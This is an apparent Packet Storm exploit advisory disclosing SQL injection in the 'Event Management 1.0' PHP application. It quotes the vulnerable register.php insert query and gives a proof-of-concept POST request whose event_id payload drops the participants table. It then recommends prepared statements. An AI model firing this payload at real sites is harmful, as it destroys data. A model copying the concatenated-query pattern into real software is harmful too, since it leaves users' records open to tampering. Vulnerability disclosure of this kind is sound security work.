exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Event Management 1.0 SQL Injection

Event Management 1.0 SQL Injection
Posted Mar 28, 2024
Authored by SoSPiro

Event Management version 1.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 5135d01cd318616d2a8b1711363d2378d7b2686ffcd1083f2936d0248e4164fd

Event Management 1.0 SQL Injection

Change Mirror Download
# Exploit Title: Event Management - SQL Injection
# Application: Event Management
# Date: 19.02.2024
# Bugs: SQL Injection
# Exploit Author: SoSPiro
# Vendor Homepage: https://github.com/PuneethReddyHC
# Software Link: https://github.com/PuneethReddyHC/event-management
# Version:1.0
# Attack Type: Remote
# Tested on: Windows 10 64 bit Wampserver


# About project:

helps to register an users for on events conducted in college fests with simple logic with secured way



## Vulnerability Details:

- **Application Name**: Event Management
- **Software Link**: [Download Link](https://github.com/PuneethReddyHC/event-management)
- **Vendor Homepage**: [Vendor Homepage](https://github.com/PuneethReddyHC)



# Vulnerable code section:

# https://github.com/PuneethReddyHC/event-management/blob/master/backend/register.php#L64

<?php


// ... (other code)

if(empty($full_name) || empty($email) || empty($mobile)) {
// Error messages and actions for incomplete data
} else {
if(!preg_match($name,$full_name)){
// Error messages and actions for invalid full name
}

// Additional regex checks for email and mobile format

// Verifying mobile number length
if(!(strlen($mobile) == 10)){
// Error message and action for invalid mobile number length
}

// Database insertion operation
$sql = "INSERT INTO `participants`
(`p_id`,`event_id`, `fullname`, `email`,
`mobile`, `college`, `branch`)
VALUES (NULL,'$event_id', '$full_name', '$email',
'$mobile', '$college', '$branch')";

if(mysqli_query($con,$sql)){
// Successful registration message
echo "register_success";
echo "<script> location.href='index.php'; </script>";
exit;
}
}

// ... (other code)
?>



# Vulnerability Description:

The code in register.php is vulnerable to SQL injection, allowing an attacker to manipulate the SQL query and potentially perform unauthorized actions on the database. Additionally, the code lacks proper input validation and sanitization, making it susceptible to various forms of attacks such as cross-site scripting (XSS) and potential security risks.



# Proof of Concept (PoC):

SQL Injection:

The vulnerability can be exploited by an attacker by manipulating the input parameters. For example, the event_id parameter is directly used in the SQL query without proper validation or parameterization:

An attacker can manipulate the event_id parameter in the HTTP request to inject malicious SQL code.

PoC:


POST /event-management-master/backend/register.php HTTP/1.1
Host: localhost

event_id=1'; DROP TABLE participants; --

This could result in a SQL query like:

INSERT INTO `participants` (`p_id`,`event_id`, `fullname`, `email`, `mobile`, `college`, `branch`)
VALUES (NULL,'1'; DROP TABLE participants; --', 'test', 'test@gmail.com', '0555555555', 'asd', 'qwe')

To mitigate this, use prepared statements or parameterized queries to ensure proper sanitization of user inputs.



Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    14 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close